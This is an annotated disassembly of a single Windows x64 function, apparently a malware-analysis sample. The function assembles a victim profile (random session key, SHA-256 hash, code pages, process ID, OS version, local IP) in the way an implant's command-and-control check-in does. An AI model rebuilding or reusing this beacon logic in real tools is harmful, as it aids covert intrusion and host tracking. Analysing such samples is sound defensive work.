Function at 0x140006270
Capabilities:
Create new key via cryptacquirecontext
Hash data via wincrypt
Initialize hashing via wincrypt
Initialize winsock library
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x710]
sub rsp, 0x810
mov rax, qword [0x140026008]
xor rax, rsp
mov qword [rbp + 0x700], rax
mov edx, 1
mov ecx, 0xc8
call fcn.140009b88
mov r14, rax
test rax, rax
je 0x140006693
mov ecx, 0x10
call fcn.14000c354
mov rsi, rax
test rax, rax
je 0x140006693
mov ecx, 0xbeef
mov qword [rax], r14
call qword [sym.imp.WS2_32.dll_htonl]
xor r13d, r13d
mov dword [rsi + 8], 8
mov dword [r14], eax
mov dword [r14 + 4], r13d
lea edx, [r13 + 1]
lea ecx, [rdx + 0xf]
call fcn.140009b88
mov rbx, rax
test rax, rax
je 0x140006693
lea edx, [r13 + 0x10]
mov rcx, rax
call section..text
lea edx, [r13 + 1]
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x58], r13
mov dword [rsp + 0x50], 0x20
lea ecx, [rdx + 0x1f]
call fcn.140009b88
mov rdi, rax
test rax, rax
je 0x140006693
lea r9d, [r13 + 0x18]
mov dword [rsp + 0x20], 0xf0000000
xor r8d, r8d
lea rcx, [rsp + 0x60]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x1400063df
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1400063d2
mov rcx, qword [rsp + 0x58]
lea r8d, [r13 + 0x10]
xor r9d, r9d
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1400063c7
mov rcx, qword [rsp + 0x58]
lea r9, [rsp + 0x50]
mov r8, rdi
mov dword [rsp + 0x20], r13d
lea edx, [r13 + 2]
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
je 0x140006693
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x60]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
movups xmm0, xmmword [rdi]
mov rcx, rbx
movups xmmword [0x14002a6f8], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [0x14002a708], xmm1
movups xmm0, xmmword [rbx]
movups xmmword [r14 + 8], xmm0
call fcn.14000a0b4
mov rcx, rdi
call fcn.14000a0b4
call qword [sym.imp.KERNEL32.dll_GetACP]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetOEMCP]
mov word [r14 + 0x18], bx
xor ecx, ecx
mov word [r14 + 0x1a], ax
call fcn.14000a074
mov rcx, rax
call fcn.140009bbc
call fcn.140009b90
mov r8d, eax
mov eax, 0x4a90c3c7
imul r8d
sar edx, 0x12
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xdbb9f
sub r8d, ecx
lea ecx, [r8 + 0x186a0]
mov dword [0x14002a6f4], ecx
test cl, 1
je 0x140006470
inc ecx
mov dword [0x14002a6f4], ecx
call qword [sym.imp.WS2_32.dll_htonl]
mov dword [r14 + 0x1c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
call qword [sym.imp.WS2_32.dll_htonl]
mov dword [r14 + 0x20], eax
mov bl, 6
mov word [r14 + 0x24], r13w
call fcn.1400066b0
mov edx, reloc.WS2_32.dll_ntohl
movzx ecx, bl
test eax, eax
mov r8d, 0x90
cmovne ecx, edx
xor edx, edx
mov byte [r14 + 0x26], cl
lea rcx, [rsp + 0x74]
call fcn.140008f40
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x70], 0x94
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
movzx eax, byte [rsp + 0x74]
mov byte [r14 + 0x27], al
movzx eax, byte [rsp + 0x78]
mov byte [r14 + 0x28], al
movzx ecx, word [rsp + 0x7c]
call qword [sym.imp.WS2_32.dll_htons]
mov word [r14 + 0x29], ax
mov r15d, 0x37
mov eax, dword [rsp + 0x74]
lea rdx, [rsp + 0x70]
mov dword [0x14002a788], eax
mov ecx, 0x202
xor eax, eax
mov dword [rsi + 8], r15d
mov qword [rsp + 0x60], rax
mov r12d, r13d
movsd xmm0, qword [rsp + 0x60]
mov ebx, r13d
movsd qword [r14 + 0x2b], xmm0
mov dword [r14 + 0x33], eax
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
js 0x14000669c
mov edx, 2
mov dword [rsp + 0x28], r13d
mov ecx, edx
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140006601
mov qword [rsp + 0x40], r13
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], r13
xor r9d, r9d
mov qword [rsp + 0x30], rax
xor r8d, r8d
lea rax, [rbp + 0x110]
mov dword [rsp + 0x28], 0x5f0
mov edx, 0x4004747f
mov qword [rsp + 0x20], rax
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
jne 0x1400065bb
mov ecx, dword [rsp + 0x50]
movabs rax, 0xd79435e50d79435f
mul rcx
mov rbx, rdx
shr rbx, 6
movsxd r9, ebx
mov r8d, r13d
test ebx, ebx
jle 0x1400065f8
mov rcx, r13
lea rdx, [rbp + 0x110]
nop
movsxd rax, r8d
imul r10, rax, 0x4c
mov eax, dword [rdx]
and al, 5
cmp al, 1
je 0x1400065f0
inc r8d
inc rcx
add rdx, 0x4c
cmp rcx, r9
jl 0x1400065d0
jmp 0x1400065f8
mov r12d, dword [rbp + r10 + 0x118]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, r12d
call qword [sym.imp.WS2_32.dll_htonl]
mov ecx, r15d
mov dword [rcx + r14], eax
lea eax, [r15 + 4]
mov rcx, rsi
mov dword [rsi + 8], eax
call fcn.140006760
mov ebx, dword [rsi + 8]
mov rdi, qword [rsi]
lea ecx, [rbx - 8]
call qword [sym.imp.WS2_32.dll_ntohl]
lea r8, [rsp + 0x50]
mov dword [rsp + 0x50], r13d
mov edx, ebx
mov dword [rdi + 4], eax
mov rcx, rdi
call fcn.1400069f0
mov rbx, rax
test rax, rax
je 0x140006693
mov rcx, r14
call fcn.14000a0b4
mov ecx, dword [rsp + 0x50]
mov rax, rsi
mov dword [rsi + 8], ecx
mov qword [rsi], rbx
mov rcx, qword [rbp + 0x700]
xor rcx, rsp
call fcn.140007e30
lea r11, [rsp + 0x810]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 1
call fcn.14000c604
int3